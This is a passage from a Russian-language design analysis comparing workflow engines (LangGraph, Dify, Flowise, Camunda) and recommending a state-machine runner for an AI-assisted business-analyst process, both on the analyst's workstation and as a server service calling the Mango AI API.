([persistence](https://docs.langchain.com/oss/python/langgraph/persistence)). LangGraph Server \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043b\u044e\u0447 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0432\u044b\u0445\u043e\u0434 \u043d\u0430 `beacon.langchain.com` ([docs](https://docs.langchain.com/langsmith/deploy-standalone-server)). \u041f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0443\u0437\u0435\u043b \u0441 `interrupt()` \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e, \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u044b | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0422\u043e\u043b\u044c\u043a\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 (\u0412-4), \u043d\u0435 LangGraph Server |\\n| \u0413-52 | Low-code \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0441 \u0418\u0418 (Dify, Flowise) \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e | Dify \u2014 \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u0430\u044f Apache \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u043c\u0438 ([LICENSE](https://github.com/langgenius/dify/blob/main/LICENSE)), \u043a\u043e\u0434 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435 \u0431\u0435\u0437 \u0441\u0435\u0442\u0438 \u0438 \u0444\u0430\u0439\u043b\u043e\u0432 ([docs](https://docs.dify.ai/en/use-dify/nodes/code)) \u2014 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c; Flowise \u2014 Node.js ([LICENSE](https://github.com/FlowiseAI/Flowise/blob/main/LICENSE.md)); \u0432 \u043e\u0431\u043e\u0438\u0445 \u0433\u0440\u0430\u0444 \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c \u043a\u0430\u043a \u044f\u0434\u0440\u043e; \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u2014 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 |\\n| \u0413-53 | BPMN-\u0434\u0432\u0438\u0436\u043e\u043a \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0411\u0410 | Camunda 8 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044e \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 8.6 ([Camunda](https://camunda.com/blog/2024/04/licensing-update-camunda-8-self-managed/)); Operaton \u2014 Apache-2.0 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/operaton/operaton)), \u043d\u043e \u044d\u0442\u043e Java \u0438 BPMN: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 BPMN, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u0438 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c; \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c BPMN-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 |\\n| \u0413-54 | \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 \u00ab\u0432\u043d\u0435\u0448\u043d\u0438\u0439 workflow engine\u00bb \u0438\u043c\u0435\u0435\u0442 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 | [RFC L371-L375](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375): \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb, \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u2014 \u0446\u0435\u043d\u0430; \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u043d\u0435\u0442 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.** \u0417\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0440\u0438\u0433\u0433\u0435\u0440: \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u044c\u0448\u0435 \u0441\u0435\u0441\u0441\u0438\u0438, \u043e\u0431\u0449\u0438\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u0430 4 |\\n\\n## \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0445\u0435\u043c\u0430\\n\\n```mermaid\\nflowchart LR\\n  S[\\\"Source: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b\\\"] -->|\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f| PK[\\\"\u041f\u0430\u043a\u0435\u0442: \u0433\u0440\u0430\u0444 YAML, \u0441\u0445\u0435\u043c\u044b, \u0442\u0435\u043a\u0441\u0442\u044b\\\"]\\n  PK --> R[\\\"\u042f\u0434\u0440\u043e runner: \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0443\u0437\u043b\u043e\u0432, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435, \u0436\u0443\u0440\u043d\u0430\u043b\\\"]\\n  subgraph WS[\\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1: \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e\\\"]\\n    CLI[\\\"tools/run-task next\\\"]\\n    AG[\\\"GigaCode CLI \u0438\u043b\u0438 Cline: \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\\\"]\\n  end\\n  subgraph SRV[\\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0440\u0435\u0434\u0430 4\\\"]\\n    API[\\\"\u0421\u043b\u0443\u0436\u0431\u0430 runner + Postgres\\\"]\\n    UI[\\\"\u0427\u0430\u0442, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430; n8n \u2014 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e\\\"]\\n  end\\n  R --> CLI\\n  R --> API\\n  AG -->|\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a| CLI\\n  UI --> API\\n  API -->|\u0448\u0430\u0433| LLM[\\\"Mango AI: OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API\\\"]\\n  R --> V[\\\"\u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source\\\"]\\n  API --> CI[\\\"CI gate \u0434\u043b\u044f Release\\\"]\\n```\\n\\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1: \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410\\n\\n**\u0421\u0443\u0442\u044c.** Runner \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u0435\u0434\u0443\u0449\u0438\u043c: \u043e\u043d \u0437\u043d\u0430\u0435\u0442, \u0433\u0434\u0435 \u0437\u0430\u0434\u0430\u0447\u0430, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e\\n\u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0435\u0439\u0447\u0430\u0441 \u0438 \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c. \u041c\u043e\u0434\u0435\u043b\u044c \u0432 GigaCode CLI \u0438\u043b\u0438 Cline \u043f\u0438\u0448\u0435\u0442\\n\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a, \u0411\u0410 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438 \u043e\u0442\u0434\u0430\u0451\u0442 \u0435\u0433\u043e runner \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439.\\n\\n| \u2116 | \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 | \u0427\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 |\\n|---|-----------|---------------|\\n| 1.1 | Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0440\u0451\u0431\u0435\u0440 \u0438\u0437 YAML \u043d\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439; \u0440\u0443\u0447\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0432 Python \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f; \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0430\u0437\u0431\u043e\u0440 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0430 | [\u0413-28](#\u0433-28), `EP-R5` |\\n| 1.2 | \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430; \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 | [\u0413-29](#\u0433-29), [\u0413-30](#\u0433-30) |\\n| 1.3 | \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `waiting` \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `resume` \u0434\u043b\u044f \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430; \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u0432\u043e\u0434\u0430 \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | [\u0413-31](#\u0433-31), [\u0413-32](#\u0433-32), [\u0413-34](#\u0433-34), `EP-R8` |\\n| 1.4 | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u043e `EP-R7`: \u043e\u0434\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f runner, \u0438\u043b\u0438 \u043d\u043e\u043b\u044c \u0441 \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | [\u0413-33](#\u0433-33) |\\n| 1.5 | \u041a\u043e\u043c\u0430\u043d\u0434\u0430 `next`: runner \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u043f\u043e-\u0440\u0443\u0441\u0441\u043a\u0438 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u0443\u0437\u0435\u043b, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0442 \u0430\u0433\u0435\u043d\u0442\u0430, \u0433\u0434\u0435 \u0448\u0430\u0431\u043b\u043e\u043d \u0438 \u043a\u0430\u043a\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0441\u0434\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 | [\u041e\u0436\u0438\u0434\u0430\u043d\u0438\u044f 3 \u0438 4 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u043a\u0430\u0440\u0442\u0430-\u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439) |\\n| 1.6 | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0432 Source \u0434\u043b\u044f \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432; \u0432 Cline \u2014 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u0438 hook, \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 `runs/` \u043c\u0438\u043c\u043e runner | [\u0413-38](#\u0433-38)\u2026[\u0413-40](#\u0433-40) |\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.**\\n\u041f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u0441\u0451, \u0447\u0442\u043e \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442: \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u0441\u0445\u0435\u043c\u044b, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b,\\n\u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 ([\u0413-35](#\u0433-35)), \u0442\u0435\u0441\u0442\u044b runner. \u041d\u043e\u0432\u043e\u0439\\n\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434 1 \u0438 2\\n\u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u044b: \u0432 \u0441\u0440\u0435\u0434\u0435 1 \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u043a\u043e\u0434\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e API \u043d\u0435\u0442, \u0438\\nrunner \u0432\u0435\u0434\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u043f\u0438\u0448\u0435\u0442 \u0430\u0433\u0435\u043d\u0442.\\n\\n**\u0427\u0435\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435 \u0434\u0430\u0451\u0442.** \u0411\u0410 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 \u0438 \u0441\u0430\u043c\\n\u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0435 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435,\\n\u0431\u0435\u0437 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439. \u042d\u0442\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043c\u0435\u0441\u0442\u0430, \u0430 \u043d\u0435 \u0434\u0435\u0444\u0435\u043a\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u041f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.** \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447\\n\u043f\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e ADR-018 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438\\n\u043f\u043e \u0436\u0443\u0440\u043d\u0430\u043b\u0443 runner \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n\\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4\\n\\n**\u0421\u0443\u0442\u044c.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430. \u041e\u043d\u0430 \u0441\u0430\u043c\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435, \u0436\u0434\u0451\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0438 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u0436\u043d\u043e \u0438 \u0445\u0440\u0430\u043d\u0438\u0442 \u0436\u0443\u0440\u043d\u0430\u043b\\n\u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e. \u042d\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435\\n[ADR-019, \u0441\u0440\u0435\u0434\u0430 4](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96):\\n\u00ab\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 runner \u0441 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u043e\u043c BA-\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0439 \u0432\u043d\u0435\\n\u043c\u043e\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e tool loop\u00bb.\\n\\n| \u0421\u043b\u043e\u0439 | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 | \u041f\u043e\u0447\u0435\u043c\u0443 |\\n|------|---------|--------|\\n| \u042f\u0434\u0440\u043e | \u042f\u0434\u0440\u043e runner \u0438\u0437 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 1 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u043d\u0430 FastAPI | \u041e\u0434\u0438\u043d \u043a\u043e\u0434 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435; \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1 \u2014 \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n| \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 | Postgres: \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 append-only \u0436\u0443\u0440\u043d\u0430\u043b | `EP-R8`, `EP-R9`; \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 |\\n| \u041c\u043e\u0434\u0435\u043b\u044c | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 | \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u0443\u0437\u043b\u0430, \u043d\u043e \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e |\\n| \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 | \u041a\u043e\u043d\u0435\u0447\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 approval \u0441 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u043c \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430, \u043a\u0430\u043a \u0444\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0441\u0435\u0439\u0447\u0430\u0441 | G-human \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 runner, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c |\\n| \u0414\u0432\u0438\u0436\u043e\u043a | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442: \u0432 \u0433\u0440\u0430\u0444\u0435 15 \u0443\u0437\u043b\u043e\u0432. \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0438\u043b\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0433\u0440\u0430\u0444\u044b. Temporal \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0431\u043e\u043b\u044c\u0448\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u0443\u0434\u0438\u0442\u0430 | [\u0413-51](#\u0433-51); \u0446\u0435\u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 |\\n| \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0411\u0410 | \u0422\u043e\u043d\u043a\u0438\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u043a API runner: \u0432\u0435\u0431-\u0447\u0430\u0442 (Open WebUI \u0441 Pipe \u2014 \u0434\u043e 50 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0431\u0435\u0437 \u0441\u043c\u0435\u043d\u044b \u0431\u0440\u0435\u043d\u0434\u0438\u043d\u0433\u0430, [\u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f](https://docs.openwebui.com/license)), \u0431\u043e\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\ufffd\ufffd\u0430 ([Mattermost](https://docs.mattermost.com/developers/integrate/webhooks/outgoing)) \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 